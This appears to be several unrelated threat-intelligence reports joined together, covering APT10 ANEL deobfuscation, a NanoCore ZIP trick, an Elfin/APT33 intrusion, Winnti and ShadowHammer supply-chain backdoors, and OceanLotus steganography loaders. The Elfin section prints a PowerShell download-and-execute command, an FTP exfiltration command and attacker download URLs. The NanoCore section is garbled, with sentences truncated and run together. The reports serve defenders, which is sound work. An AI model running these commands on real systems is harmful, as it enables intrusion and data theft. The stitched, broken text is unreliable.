In this case ,the code parses the structure in first blocks then reconnects each conditional blocks under the flattened blocks ( #1 and #2 as successors of #13 ,#3 and #4 as successors of #11 )but not least ,in all cases explained here ,the tail instruction of the dispatcher predecessor can be a conditional jump like jnz ,not just goto .
The modified code checks the tail instruction and if the true case destination is a control flow dispatcher ,it updates the CFG and the destination of the instruction .
The following changes are minor compared with above referenced ones .
Additional jump instructions are supported when collecting block comparison variable candidates and mapping between the variable and ea or block number ( jnz/jle in JZCollector ,jnz in JZMapper )An entropy threshold adjustment due to check in high maturity level .
Multiple block tracking for getting block comparison variable .
And the last change that was introduced in regards tothe block update variable referred in the overview .
Some functions in the ANEL sample utilize this ,however the assignment is a little bit tricky .
By using the and instruction ,the immediate values used in comparison look different from assigned ones .
The modified code will consider this .
The modified tool was tested with an ANEL 5.4.1 payload dropped from a malicious document with the following hash ( previously reported by FireEye ) :The code is able to deobfuscate 34 of 38 functions ( 89% )It should be noted every function is not always obfuscated .
The failure examples are :Not yet implemented cases ( e.g ,a conditional jump of the dispatcher predecessor’s tail instruction in goto N predecessors case ,consecutive if-statement flattened blocks )An incorrect choice of control flow dispatcher and first block ( algorithm error )These fixes will be prioritized for future releases .
Additionally there is a known issue with the result ( e.g , the remaining loop or paradoxical decompiled code )using the following IDAPython command in Output window :“ HexRaysDeob ”The command will instruct the code to execute only opaque predicates deobfuscation in the current selected function .
This allows an analyst to quickly check if there are any lost blocks by control flow unflattening .
After the check ,the original result can be restored by using the following command :“ HexRaysDeob ”The compiler-level obfuscations like opaque predicates and control flow flattening are started to be observed in the wild by analyst and researchers .
Currently malware with the obfuscations is limited ,however TAU expects not only APT10 but also other threat actors will start to use them .
in order to break the techniques we have to understand both of the obfuscation mechanisms and disassembler tool internals before we can automate the process .
TAU modified the original HexRaysDeob to make it work for APT10 ANEL obfuscations .
The modified code is available publically here .
The summary of the modifications is :New patterns and data-flow tracking for opaque predicates .
Analysis in multiple maturity levels ,considering multiple control flow dispatchers and various jump cases for control flow flattening .
The tool can work for almost all obfuscated functions in the tested sample .
This implementation will deobfuscate approximately 89% of encountered functions .
This provides researchers and analyst broad tool to attack this type of obfuscation ,and if it adopted in other families .
In should be noted that the tool may not work for the updated versions of ANEL if they are compiled with different options of the obfuscating compiler .
Testing in multiple versions is important ,so TAU is looking for newer versions ANEL samples .
Please reach out to our unit if you have relevant samples or need assistance in deobfuscating the codes .
Double Loaded Zip File Delivers Nanocore Most malware sent via emails is packaged in archives such as ZIP, RAR, and 7zOccasionally, we encounter some clever and creative ways these malicious archives areHere we will examine an example of an oddly formatted ZIP archive hiding the NanoCoreWe spotted a courier themed spam campaign on our Secure Email Gateway (SEG ) cloudThe message claimed to be from an Export Operation Specialist of USCO Logistics and that it was sent as per their customerAside from this, there were several other suspicious items we noted: Headers mismatched: The Reply-To and From email address wereFurthermore, the email address used in Reply-To is from a free email clientSuspicious message body: The attachment was mentioned in the message body twice, making sure to direct the reader’s attention towards theSuspicious attachment name: The name of attachment SHIPPING_MX00034900_PL_INV_pdf.zip ends with pdf.zip .
That usually means that the name of the file inside the archive ends with 2 known file extensions “pdf.<extension>” (archiving tools usually defaults the <extension> to the archive’s format e.g.The attachment SHIPPING_MX00034900_PL_INV_pdf.zip makes this message standThe ZIP file had a file size significantly greater than that of its uncompressedTypically, the size of the ZIP file should be less than the uncompressed content or, in some cases, ZIP files will grow larger than the original files by a reasonable number ofZIP archives are supposed to have one “End of Central Directory” (EOCD) signifying the end of theLooking deeper into the structure of SHIPPING_MX00034900_PL_INV_pdf.zip , the attachment has twoAfter the first EOCD comes some extra data – another ZIP fileIt turns out that the first ZIP structure is for the image file order.jpg while the second one is for an executable file SHIPPING_MX00034900_PL_INV_pdf.exe .
Both are compressed when archived, and both indicate that they are the only file in their ZIP structures as indicated in their local file headers and EOCDsThe image file “order.jpg” contained in the first ZIP structure is actually a non-malicious PNG formatted imageThis serves as a decoy, an attempt to hide the content of the other ZIPThe image file has been correctly identified by SEG as a PNG when its file extension is .jpg denoting a JPEG formattedThe second ZIP structure contains SHIPPING_MX00034900_PL_INV_pdf.exe , which is a NanoCoreThis remote access Trojan has the capability that allows an attacker to completely take control of the compromisedIt connects to its command and control server at 194.5.98.85 on portThis NanoCore RAT is version 1.2.2.0 which has been found to be offered for free on the Dark Web just a few monthsWe used different archiving tools such as PowerArchiver 2019 , WinZip , WinRar , 7Zip , andthat is built into the Windows OS in attempting to extract the content of the attachment SHIPPING_MX00034900_PL_INV_pdf.zip .
Among these 5 tools, only WinZip and Windows’were not able to extract anything from the ZIP file as they encountered an error at the start of the extractionThe other archiving tools were able to extract one file from the ZIP attachment – either order.jpg or SHIPPING_MX00034900_PL_INV_pdf.exe .
WinZip version 11.2 and 24.0, and the built-intool in Windows , recognized that the attachment SHIPPING_MX00034900_PL_INV_pdf.zip is an invalidOnly WinZip gave an explicit reason – the start of central directory of the ZIP was notThe central directory it pertained to is the one in the second ZIPAt figure 2, the second EOCD indicates that its only central directory is located at file offset 0xd148f whereas it is at 0xd40d41. (The size of the firstZIP structure was not considered.) Meanwhile, the archiving tools PowerArchiver 2019 , WinRar , and 7Zip were able to extract a file from the attachment SHIPPING_MX00034900_PL_INV_pdf.zip .
The latest versions of PowerArchiver 2019 and WinRar displayed in their respective UI the executable SHIPPING_MX00034900_PL_INV_pdf.exe as the only content of the ZIPNo error or warning was prompted during theOlder versions of 7Zip also behave like PowerArchiver and WinRAR .
7Zip version 9.22 and older saw the executable asHowever, starting from 7Zip version 9.34 (next available installer after version 9.22) up to its latest version 19.0, 7zip saw and was able to extract the image file order.jpgThe second ZIP structure was treated as extra data; hence, a warning was added to the extracted image file’sAmong the archiving tools we tried, WinRar 3.30 behaved differently andThe content of the ZIP attachment it displayed in its UI was not the one it extracted! This sample challenges gatewaysDepending on the type of decompression engine used, there is a good probability that only the decoy file may be scrutinized and vetted, and the malicious content unnoticed – just like how some of the most popular archiving tools failed to notice the second ZIPDespite what the gateway does, this attack would only succeed if the message got through the gateway and a particular archive utility is used by the end-user, such as certain versions of PowerArchiver , WinRar , and older 7Zip as describedIn this case, the Trustwave Secure email Gateway flagged the message as suspicious and it did not getNevertheless, this case does highlight the types of tricks the bad guys are using in an attempt to deliver malware throughSHIPPING_MX00034900_PL_INV_pdf.zip : 9474e1517c98d4165300a49612888d16643efbf6 .
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AutoIt backdoor : A custom built backdoor written in the AutoIt scripting language .
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AutoIt backdoor : A custom built backdoor written in the AutoIt scripting language .
In addition to its custom malware , Elfin has also used a number of commodity malware tools , available for purchase on the cyber underground .
These include :Remcos ( Backdoor.Remvio ) : A commodity remote administration tool ( RAT ) that can be used to steal information from an infected computer .
DarkComet ( Backdoor.Breut ) : Another commodity RAT used to open a backdoor on an infected computer and steal information .
Quasar RAT ( Trojan.Quasar ) : Commodity RAT that can be used to steal passwords and execute commands on an infected computer .
Pupy RAT ( Backdoor.Patpoopy ) : Commodity RAT that can open a backdoor on an infected computer .
NanoCore ( Trojan.Nancrat ) : Commodity RAT used to open a backdoor on an infected computer and steal information .
NetWeird ( Trojan.Netweird.B ) : A commodity Trojan which can open a backdoor and steal information from the compromised computer .
It may also download additional potentially malicious files .
Elfin also makes frequent use of a number of publicly available hacking tools , including :LaZagne ( SecurityRisk.LaZagne ) : A login/password retrieval tool .
Mimikatz ( Hacktool.Mimikatz ) : Tool designed to steal credentials .
Gpppassword : Tool used to obtain and decrypt Group Policy Preferences ( GPP ) passwords .
SniffPass ( SniffPass ) : Tool designed to steal passwords by sniffing network traffic .
In this section , we describe in detail an Elfin attack on a U.S. organization .
On February 12 , 2018 at 16:45 ( all times are in the organization’s local time ) , an email was sent to the organization advertising a job vacancy at an American global service provider .
The email contained a malicious link to http://mynetwork.ddns.net:880 .
The recipient clicked the link and proceeded to download and open a malicious HTML executable file , which in turn loaded content from a C&C server via an embedded iframe .
At the same time , code embedded within this file also executed a powershell command to download and execute a copy of chfeeds.vbe from the C&C server .
[System.Net.ServicePointManager] : :S erverCertificateValidationCallback={$true};IEX (New-Object Net.WebClient ) .DownloadString ( ' https://217.147.168.46:8088/index.jpg ' ) .
A second JavaScript command was also executed , which created a scheduled task to execute chfeeds.vbe multiple times a day .
The chfeeds.vbe file acts as a downloader and was used to download a second powershell script ( registry.ps1 ) .
This script in turn downloaded and executed a PowerShell backdoor known as POSHC2 , a proxy-aware C&C framework , from the C&C server ( https:// host-manager.hopto.org ) .
Later at 20:57 , the attackers became active on the compromised machine and proceeded to download the archiving tool WinRAR .
89.34.237.118 808 http://89.34.237.118:808/Rar32.exe .
At 23:29 , the attackers then proceeded to deploy an updated version of their POSHC2 stager .
192.119.15.35 880 http://mynetwork.ddns.net:880/st-36-p4578.ps1 .
This tool was downloaded several times between 23:29 on February 12 and 07:47 on February 13 .
Two days later , on February 14 at 15:12 , the attackers returned and installed Quasar RAT onto the infected computer that communicated with a C&C server ( 217.147.168.123 ) .
Quasar RAT was installed to CSIDL_PROFILE\appdata\roaming\microsoft\crypto\smss.exe .
At this point , the attackers ceased activity while maintaining access to the network until February 21 .
At 06:38 , the attackers were observed downloading a custom .NET FTP tool to the infected computer .
192.119.15.36 880 http://192.119.15.36:880/ftp.exe .
Later at 6:56 , the attackers exfiltrated data using this FTP tool to a remote host: JsuObf.exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\rar -a ftp://89.34.237.118:2020 -f/[REDACTED]-u[REDACTED]-p[REDACTED] .
Activity ceased until the attackers returned on March 5 and were observed using Quasar RAT to download a second custom AutoIt FTP Exfiltration tool known as FastUploader from http://192.119.15.36:880/ftp.exe .
This tool was then installed to csidl_profile\appdata\roaming\adobe\ftp.exe .
FastUploader is a custom FTP tool designed to exfiltrate data at a faster rate than traditional FTP clients .
At this point , additional activity from the attackers continued between March 5 into April , and on April 18 at 11:50 , a second remote access tool known as DarkComet was deployed to csidl_profile\appdata\roaming\microsoft\windows\start menu\programs\startup\smss.exe on the infected computer .
This was quickly followed 15 seconds later by the installation of a credential dumping to csidl_profile\appdata\roaming\microsoft\credentials\dwm32.exe , and the execution of powershell commands via PowerShell Empire , a freely available post-exploitation framework , to bypass logging on the infected machine .
Activity continued throughout April where additional versions of DarkComet , POSHC2 implants , and an AutoIt backdoor were deployed along with further credential dumping activities .
Elfin is one of the most active groups currently operating in the Middle East , targeting a large number of organizations across a diverse range of sectors .
Over the past three years , the group has utilized a wide array of tools against its victims , ranging from custom built malware to off-the-shelf RATs , indicating a willingness to continually revise its tactics and find whatever tools it takes to compromise its next set of victims .
Symantec has the following protection in place to protect customers against these attacks , APT33 : Backdoor.Notestuk Trojan.Stonedrill Backdoor.Remvio Backdoor.Breut Trojan.Quasar Backdoor.Patpoopy Trojan.Nancrat Trojan.Netweird.B Exp.CVE-2018-20250 SecurityRisk.LaZagne Hacktool.Mimikatz SniffPass .
FTP tool .
FTP tool .
downloader ( registry.ps1 ) .
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APT33 : 192.119.15.35 [REDACTED].ddns.net .
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APT33 : 192.119.15.35 [REDACTED].ddns.net .
APT33 : 192.119.15.36 [REDACTED].ddns.net .
APT33 : 192.119.15.37 mynetwork.ddns.net .
APT33 : 192.119.15.38 [REDACTED].ddns.net .
APT33 : 192.119.15.39 remote-server.ddns.net .
APT33 : 192.119.15.40 [REDACTED].ddns.net .
APT33 : 192.119.15.41 mynetwork.cf .
APT33 : 192.119.15.42 [REDACTED].ddns.net .
gaming industry scope attackers asia .
This is not the first time the gaming industry has been targeted by attackers who compromise game developers , insert backdoors into a game’s build environment , and then have their malware distributed as legitimate software .
In April 2013 , Kaspersky Lab reported that a popular game was altered to include a backdoor in 2011 .
That attack was attributed to perpetrators Kaspersky called the Winnti Group .
Yet again , new supply-chain attacks recently caught the attention of ESET Researchers .
This time , two games and one gaming platform application were compromised to include a backdoor .
Given that these attacks were mostly targeted against Asia and the gaming industry , it shouldn’t be surprising they are the work of the group described in Kaspersky ’s “ Winnti – More than just a game ” .
Although the malware uses different configurations in each case , the three affected software products included the same backdoor code and were launched using the same mechanism .
While two of the compromised products no longer include the backdoor , one of the affected developers is still distributing the trojanized version : ironically , the game is named Infestation , and is produced by Thai developer Electronics Extreme .
We have tried informing them several times , through various channels , since early February , but without apparent success .
Let’s look at how the malicious payload is embedded and then look into the details of the backdoor itself .
The payload code is started very early during the execution of the backdoored executable file .
Right after the PE entry point , the standard call to the C Runtime initialization ( __scrt_common_main_seh ) is hooked to launch the malicious payload before everything else .
This may suggest that the malefactor changed a build configuration rather than the source code itself .
The code added to the executable decrypts and launches the backdoor in-memory before resuming normal execution of the C Runtime initialization code and all the subsequent code of the host application .
The embedded payload data has a specific structure , that is parsed by the added unpacking code .
It includes an RC4 key ( which is XORed with 0x37 ) that is used to decrypt a filename and the embedded DLL file .
The actual malicious payload is quite small and only contains about 17 KB of code and data .
The configuration data is simply a whitespace-separated list of strings .
The configuration consists of four fields :C&C server URL .
Variable ( t ) used to determine the time to sleep in milliseconds before continuing the execution .
Wait time is chosen randomly in the range 2/3 t to 5/3A string identifying a campaign .
A semicolon-separated list of executable filenames .
If any of them are running , the backdoor stops its execution .
ESET researchers have identified five versions of the payload :Winnti : a045939f 2018-07-11 15:45:57 https://bugcheck.xigncodeservice.com/Common/Lib/Common_bsod.php .
Winnti : a260dcf1 2018-07-11 15:45:57 https://bugcheck.xigncodeservice.com/Common/Lib/Common_Include.php .
Winnti : dde82093 2018-07-11 15:45:57 https://bugcheck.xigncodeservice.com/Common/Lib/common.php .
Winnti : 44260a1d 2018-08-15 10:59:09 https://dump.gxxservice.com/common/up/up_base.php .
Winnti : 8272c1f4 2018-11-01 13:16:24 https://nw.infestexe.com/version/last.php .
In the first three variants , the code was not recompiled , but the configuration data was edited in the DLL file itself .
The rest of the content is a byte for byte copy .
Domain names were carefully chosen to look like they are related to the game or application publisher .
The apex domain was set to redirect to a relevant legitimate site using the Namecheap redirection service , while the subdomain points to the malicious C&C server .
Winnti : xigncodeservice.com 2018-07-10 09:18:17 https://namu.wiki/w/XIGNCODE .
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Winnti : gxxservice.com 2018-08-14 13:53:41 None or unknown .
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Winnti : gxxservice.com 2018-08-14 13:53:41 None or unknown .
Winnti : infestexe.com 2018-11-07 08:46:44 https://www.facebook.com/infest.in.th .
Winnti : bugcheck.xigncodeservice.com 167.99.106.49 , 178.128.180.206 DigitalOcean .
Winnti : dump.gxxservice.com 142.93.204.230 DigitalOcean .
Winnti : nw.infestexe.com 138.68.14.195 DigitalOcean .
At the time of writing , none of the domains resolve and the C&C servers are not responding .
A bot identifier is generated from the machine’s MAC address .
The backdoor reports information about the machine such as the user name , computer name , Windows version and system language to the C&C server and awaits commands .
The data is XOR encrypted with the key “ *&b0i0rong2Y7un1 ” and base64-encoded .
The data received from the C&C server is encrypted using the same key .
This simple backdoor has only four commands that can be used by the attacker :DownUrlFile DownRunUrlFile RunUrlBinInMem UnInstall .
The commands are pretty much self-explanatory .
They allow the attacker to run additional executables from a given URL .
The last one is perhaps less obvious .
The UnInstall command doesn’t remove the malware from the system .
After all , it is embedded inside a legitimate executable that still needs to run .
Rather than removing anything , it disables the malicious code by setting the following registry value to 1: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\ImageFlag .
When the payload is started , the registry value is queried and execution is aborted if set .
Perhaps the attackers are trying to reduce the load from their C&C servers by avoiding callbacks from uninteresting victims .
Based on ESET telemetry , one of the second stage payload delivered to victims is Win64/Winnti.BN .
As far as we can tell , its dropper was downloaded over HTTPS from api.goallbandungtravel.com .
We have seen it installed as a Windows service and as a DLL in C:\Windows\System32 using the following file names :cscsrv.dll dwmsvc.dll iassrv.dll mprsvc.dll nlasrv.dll powfsvc.dll racsvc.dll slcsvc.dll snmpsvc.dll sspisvc.dll .
The samples we have analyzed were actually quite large , each of them about 60 MB .
This is , however , only for appearance because the real size or the PE file is between 63 KB and 72 KB , depending on the version .
The malware files simply have lots of clean files appended to them .
This is probably done by the component that drops and installs this malicious service .
Once the service runs , it appends the extension .mui to its DLL path , reads that file and decrypts it using RC5 .
The decrypted MUI file contains position-independent code at offset 0 .
The RC5 key is derived from the hard drive serial number and the string “ f@Ukd!rCto R$. ” — we were not able to obtain any MUI files nor the code that installs them in the first place .
Thus , we do not know the exact purpose of this malicious service .
Recent versions of the malware include an “ auto-update ” mechanism , using C&C server http://checkin.travelsanignacio.com .
That C&C server served the latest version of the MUI files encrypted with a static RC5 key .
The C&C server was not responding during our analysis .
Let’s start with who is not targeted .
Early in the payload , the malware checks to see if the system language is Russian or Chinese .
In either case , the malware stops running .
There is no way around this : the attackers are simply not interested in computers configured with those languages .
ESET telemetry shows victims are mostly located in Asia , with Thailand having the largest part of the pie .
Given the popularity of the compromised application that is still being distributed by its developer , it wouldn’t be surprising if the number of victims is in the tens or hundreds of thousands .
Supply-chain attacks are hard to detect from the consumer perspective .
It is impossible to start analyzing every piece of software we run , especially with all the regular updates we are encouraged or required to install .
So , we put our trust in software vendors that the files they distribute don’t include malware .
Perhaps that’s the reason multiple groups target software developers : compromising the vendor results in a botnet as popular as the software that is hacked .
However , there is a downside of using such a technique : once the scheme is uncovered , the attacker loses control and computers can be cleaned through regular updates .
We do not know the motives of the attackers at this point .
Is it simply financial gain? Are there any reasons why the three affected products are from Asian developers and for the Asian market? Do these attackers use a botnet as part of a larger espionage operation? ESET products detect this threat as Win32/HackedApp.Winnti.A , Win32/HackedApp.Winnti.B , the payload as Win32/Winnti.AG , and the second stage as Win64/Winnti.BN .
Compromised file samples ( Win32/HackedApp.Winnti.A and B )Winnti : 7cf41b1acfb05064518a2ad9e4c16fde9185cd4b Tue Nov 13 10:12:58 2018 1729131071 8272c1f4 .
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Winnti : 4256fa6f6a39add6a1fa10ef1497a74088f12be0 2018-07-25 10:13:41 None .
Winnti : bb4ab0d8d05a3404f1f53f152ebd79f4ba4d4d81 2018-10-10 09:57:31 http://checkin.travelsanignacio.com .
Winnti : T1195 Supply Chain Compromise .
Winnti : T1050 New Service .
Winnti : T1022 Data Encrypted .
Winnti : T1079 Multilayer Encryption .
Winnti : T1032 Standard Cryptographic Protocol ( RC4 , RC5 ) .
Winnti : T1043 Commonly Used Port ( 80 , 443 ) .
OceanLotus Steganography Malware Analysis White Paper .
While continuing to monitor activity of the OceanLotus APT Group , BlackBerry Cylance researchers uncovered a novel payload loader that utilizes steganography to read an encrypted payload concealed within a .png image file .
The steganography algorithm appears to be bespoke and utilizes a least significant bit approach to minimize visual differences when compared with the original image to prevent analysis by discovery tools .
Once decoded , decrypted , and executed , an obfuscated loader will load one of the APT32 backdoors .
Thus far , BlackBerry Cylance has observed two backdoors being used in combination with the steganography loader – a version of Denes backdoor ( bearing similarities to the one described by ESET ) , and an updated version of Remy backdoor .
However , this can be easily modified by the threat actor to deliver other malicious payloads .
The complexity of the shellcode and loaders shows the group continues to invest heavily in development of bespoke tooling .
This white paper describes the steganography algorithm used in two distinct loader variants and looks at the launcher of the backdoor that was encoded in one of the .png cover images .
mcvsocfg.dll :ae1b6f50b166024f960ac792697cd688be9288601f423c15abbc755c66b6daa4 Malware/Backdoor 659 KB ( 674 , 816 bytes ) PE32 executable for MS Windows ( DLL ) ( console ) Intel 80386 32-bit September 2018 .
This particular OceanLotus malware loader attempts to imitate McAfee ’s McVsoCfg DLL and expects to be side-loaded by the legitimate " On Demand Scanner " executable .
It arrives together with an encrypted payload stored in a separate .png image file .
The .png cover file is actually a valid image file that is not malicious on its own .
The payload is encoded inside this image with the use of a technique called steganography , which utilizes the least significant bits of each pixel’s color code to store hidden information , without making overtly visible changes to the picture itself .
The encoded payload is additionally encrypted with AES128 and further obfuscated with XOR in an attempt to fool steganography detection tools .
Side-loaded DLL Loads next-stage payload using custom .png steganography Uses AES128 implementation from Crypto++ library for payload decryption Known to load Denes backdoor , might possibly be used also with other payloads .
The malicious DLL exports the same function names as the original mcvsocfg.dll library .
All exports contain the exact same code which will decrypt the payload , inject it into memory , and execute it .
The payload is encoded inside a separate .png file using a technique called steganography .
On top of that , the decoded payload is also encrypted with AES-128 and finally obfuscated with XOR 0x3B .
It’s worth noting that the XOR key is not hardcoded , but instead is read from the first byte of the C:\Windows\system.ini file .
One of the payloads we encountered was encoded inside an image of Kaito Kuroba1 , the gentleman thief character from a popular Japanese manga series .
To extract the payload , the malware will first initialize the GDI+ API and get the image width and height values .
The size of the payload is encoded within the first four pixels of the image .
After obtaining the size , the malware will allocate an appropriate memory buffer and proceed to decode the remaining payload byte by byte .
The payload is encoded in the same way as the size – each byte of the payload is computed from the ARGB color codes of each subsequent pixel in the image .
In case the payload is bigger than the image used to store it , the remaining payload bytes are simply attached to the image after its IEND marker , and read directly from the file .
The pixel encoding algorithm is fairly straightforward and aims to minimize visual differences when compared to the original image by only modifying the least significant bits of the red , green , and blue color byte values .
The alpha channel byte remains unchanged .
To encode a byte of the payload , the first three bits ( 0-2 ) are stored in the red color , the next three bits ( 3-5 ) are stored in the green color , and the final two bits ( 6-7 ) are stored in the blue color .
Decoding is a simple inverse operation .
Windows converts the .png pixel RGBA value to an ARGB encoding via the GdpiBitmapGetPixel API .
To aid in the recovery of encrypted payloads , the following Python script can be used to decode pixel colors from a .png image .
After decoding the .png image , the loader then proceeds to initialize the key and IV used to perform AES decryption of the encrypted payload .
Both values are supplied from an array of 256 pseudo-random bytes hardcoded in the binary’s .rdata section .
The first two bytes of that array specify the relative offsets to the key and IV respectively .
The loader uses the AES128 implementation from the open-source Crypto++2 library .
We were able to correlate most of the disassembly to the corresponding functions from the Crypto++ github source , and it doesn’t appear that the malware authors have modified much of the original code .
A SimpleKeyringInterface class is used to initialize the key , while the IV is passed to the SetCipherWithIV function .
The decryption is performed with the use of the StreamTransformationFilter class with the StreamTransformation cipher set to AES CBC decryption mode .
The library code performs numerous checks for the CPU features , and based on the outcome , it will choose a processor-specific implementation of the cryptographic function .
One of the AES implementations makes use of the Intel AES-NI encryption instruction set which is supported by several modern Intel and AMD CPUs .
The decrypted payload undergoes one final transformation , where it is XORed with the first byte read from the C:\Windows\system .
ini file , which is expected to begin with a comment character " ; " ( 0x3B ) .
Performing the same steps in CyberChef , it is possible to decode the encrypted payload , which should yield x86 shellcode , starting with a call immediate opcode sequence .
4c02b13441264bf18cc63603b767c3d804a545a60c66ca60512ee59abba28d4d Malware/Backdoor 658 KB ( 674 , 304 bytes ) PE32 executable for MS Windows ( DLL ) ( console ) Intel 80386 32-bit September 2018 .
While this loader differs somewhat in general implementation , the payload extraction routine seems to be the same as in the previous variant .
The main differences are :The way the decryption routine is called ( from within the DllMain function , as opposed to an exported function ) .
The way the payload is invoked ( by overwriting the return address on the stack , as opposed to a direct call ) .
Implementation of an additional anti-analysis check that compares the name of the parent process to a string stored in an encrypted resource .
We came across multiple variations of this DLL containing different parent process names , possibly targeted specifically to the victim’s environment .
Some of these names include processes related to security software :wsc_proxy.exe plugins-setup.exe SoftManager.exe GetEFA.exe .
Side-loaded DLL Anti-debugging/anti-sandboxing check for parent process name .
Loads next-stage payload using custom .png steganography .
Uses AES128 implementation from Crypto++ library for payload decryption .
Executes the payload by overwriting the return address on the stack .
Known to load an updated version of Remy backdoor .
This DLL does not contain an export table and its entire functionality resides in the DllMain routine .
Upon execution , the malware will first decrypt a string from its resources and compare it against the name of the parent process .
If the names differ , the malware will simply exit without touching the payload .
The resource containing the expected process name ( ICON/1 ) is XORed with the first byte of the legitimate C:\Windows\system.ini file – 0x3B ( " ; " ) .
If the parent name matches , the malware will traverse the stack in order to find a return address that falls into the memory of the parent process’s text section .
Next , the payload is read from the .png cover file , which seems to have been taken from an inspirational quotes website3 .
In this instance , the payload is fully contained within the image’s pixel color codes , leaving no remaining data beyond the IEND marker .
Finally , the loader will decrypt the payload to a memory buffer and overwrite the previously found return address with the pointer to that buffer , ensuring that the malicious shellcode will be executed when the DLL attempts to return to the caller .
The loader embedded in the payload seems to be a variant of the Veil " shellcode_inject " payload , previously used by OceanLotus to load older versions of Remy backdoor .
In this instance , the shellcode is configured to load an encoded backdoor from within the payload .
The final payload comes in a form of a launcher DLL that contains an encrypted backdoor in its .rdata section and a plain-text configuration in its resources .
The resources also store one or more C2 communication modules .
The backdoor DLL and the C2 communication DLLs are heavily obfuscated using high quantities of junk code , which significantly inflates their size and makes both static analysis and debugging more difficult .
In addition to Denes and Remy backdoors , at least two different communication modules were observed with different versions of this launcher – DNSProvider and HTTPProv .
The launcher binary , which contains the final backdoor , is RC4 encrypted and wrapped in a layer of obfuscated shellcode .
We can see the familiar DOS stub in plain text , but the rest of the header and binary body are encrypted .
The shellcode is obfuscated using OceanLotus ’s standard approach of flattening the control flow and inserting junk opcodes ( as described in the ESET white paper on OceanLotus ) .
The shellcode starts in a fairly standard way – by walking the list of loaded modules in order to find the base of kernel32.dll library .
Once kernel32 base is found , the shellcode will calculate the addresses of LoadLibraryA and GetProcAddress functions , and use them to resolve other necessary APIs , which include VirtualAlloc , RtlMoveMemory , and RtlZeroMemory .
After resolving the APIs , the shellcode will decrypt the launcher binary and load it to the memory .
MZ header , PE header , as well as each section and their header , are decrypted separately using RC4 algorithm and a hardcoded key .
Once all sections are loaded , the relocations get fixed and the MZ/PE headers are zeroed out in memory .
The shellcode then proceeds to execute the payload DLL’s entry point .
The Internal name of this DLL is a randomly looking CLSID and it only exports one function called DllEntry .
Upon execution , the launcher will attempt to hook legitimate wininet.dll library by overwriting its entry point in memory with the address of a malicious routine .
If successful , every time the system loads wininet.dll , the entry point of the subsequently dropped backdoor DLL will be executed before the original wininet entry point .
There is no proper DLL injection routine – the payload is just decompressed to the memory as-is – so the malware needs to fix all the pointers in the decompressed code , which is done on a one-by-one basis using hardcoded values and offsets .
This part takes 90% of the whole launcher code and includes over 11 , 000 modifications .
The launcher then calls the backdoor DLL’s entry point .
The routine that reads configuration from resources and decompresses the C2 communication library is then called by temporarily replacing the pointer to CComCriticalSection function with the pointer to that routine .
Such an obfuscation method makes it difficult to spot it in the code .
The launcher loads configuration from resources and uses an export from the backdoor DLL to initialize config values in memory .
Resource P1/1 contains config values , including port number and a registry path .
After the content of resource 0xC8 is decompressed , another function from the backdoor DLL is used to load the C2 communication module to the memory and call its " CreateInstance " export .
Finally , the launcher passes control to the main backdoor routine .
OceanLotus : 0 4 name is read from resource P1/0x64 .
OceanLotus : {12C044FA-A4AB-433B-88A2-32C3451476CE} memory pointer 4 points to a function that spawns another copy of malicious process .
OceanLotus : {9E3BD021-B5AD-49DEAE93-F178329EE0FE} C&C URLs varies content is read from resource P1/2 .
OceanLotus : 0 config varies content is read from resource P1/1 .
OceanLotus : {B578B063-93FB-4A5F-82B4-4E6C5EBD393B} ? 4 0 ( config+0x486 ) .
OceanLotus : {5035383A-F7B0-424A-9C9A-CA667416BA6F} port number 4 0x1BB ( 443 ) ( config+0x46C ) .
OceanLotus : {68DDB1F1-E31F-42A9-A35D-984B99ECBAAD} registry path varies SOFTWARE\Classes\CLSID\{57C3E2E2-C18F-4ABF-BAAA-9D17879AB029} .
The backdoor DLL is stored in the .rdata section of the launcher , compressed with LZMA , and encrypted with RC4 .
The binary is heavily obfuscated with overlapping blocks of garbage code enclosed in pushf/popf instructions .
The DllMain function replaces the pointer to GetModuleHandleA API with a pointer to hook routine that will return the base of the backdoor DLL when called with NULL as parameter ( instead of returing the handle to the launcher DLL ) .
The backdoor also contains an export that loads the C2 communication module reflectively to the memory from resource passed as parameter and then calls its " CreateInstance " export .
While we are still in the process of analyzing this backdoor’s full functionality , it seems to be similar to the Remy backdoor described in our previous whitepaper on OceanLotus malware .
This DLL is stored in the launcher’s resources and compressed with LZMA .
It’s also heavily obfuscated , but in a slightly different way than the backdoor .
Although it doesn’t contain an internal name , we believe it’s a variant of HttpProv library , as described in the ESET white paper on OceanLotus .
This module is used by the backdoor during HTTP/HTTPS communication with the C2 server and has a proxy bypass functionality .
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Operation ShadowHammer .
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Operation ShadowHammer .
Earlier today , Motherboard published a story by Kim Zetter on Operation ShadowHammer , a newly discovered supply chain attack that leveraged ASUS Live Update software .
While the investigation is still in progress and full results and technical paper will be published during SAS 2019 conference in Singapore , we would like to share some important details about the attack .
In January 2019 , we discovered a sophisticated supply chain attack involving the ASUS Live Update Utility .
The attack took place between June and November 2018 and according to our telemetry , it affected a large number of users .
ASUS Live Update is an utility that is pre-installed on most ASUS computers and is used to automatically update certain components such as BIOS , UEFI , drivers and applications .
According to Gartner , ASUS is the world’s 5th-largest PC vendor by 2017 unit sales .
This makes it an extremely attractive target for APT groups that might want to take advantage of their userbase .
Based on our statistics , over 57 , 000 Kaspersky users have downloaded and installed the backdoored version of ASUS Live Update at some point in time .
We are not able to calculate the total count of affected users based only on our data ; however , we estimate that the real scale of the problem is much bigger and is possibly affecting over a million users worldwide .
The goal of the attack was to surgically target an unknown pool of users , which were identified by their network adapters’ MAC addresses .
To achieve this , the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation .
We were able to extract more than 600 unique MAC addresses from over 200 samples used in this attack .
Of course , there might be other samples out there with different MAC addresses in their list .
We believe this to be a very sophisticated supply chain attack , which matches or even surpasses the Shadowpad and the CCleaner incidents in complexity and techniques .
The reason that it stayed undetected for so long is partly due to the fact that the trojanized updaters were signed with legitimate certificates ( eg : “ ASUSTeK Computer Inc. ” ) .
The malicious updaters were hosted on the official liveupdate01s.asus.com and liveupdate01.asus.com ASUS update servers .
We have contacted ASUS and informed them about the attack on Jan 31 , 2019 , supporting their investigation with IOCs and descriptions of the malware .
Although precise attribution is not available at the moment , certain evidence we have collected allows us to link this attack to the ShadowPad incident from 2017 .
The actor behind the ShadowPad incident has been publicly identified by Microsoft in court documents as BARIUM .
BARIUM is an APT actor known to be using the Winnti backdoor .
Recently , our colleagues from ESET wrote about another supply chain attack in which BARIUM was also involved , that we believe is connected to this case as well .
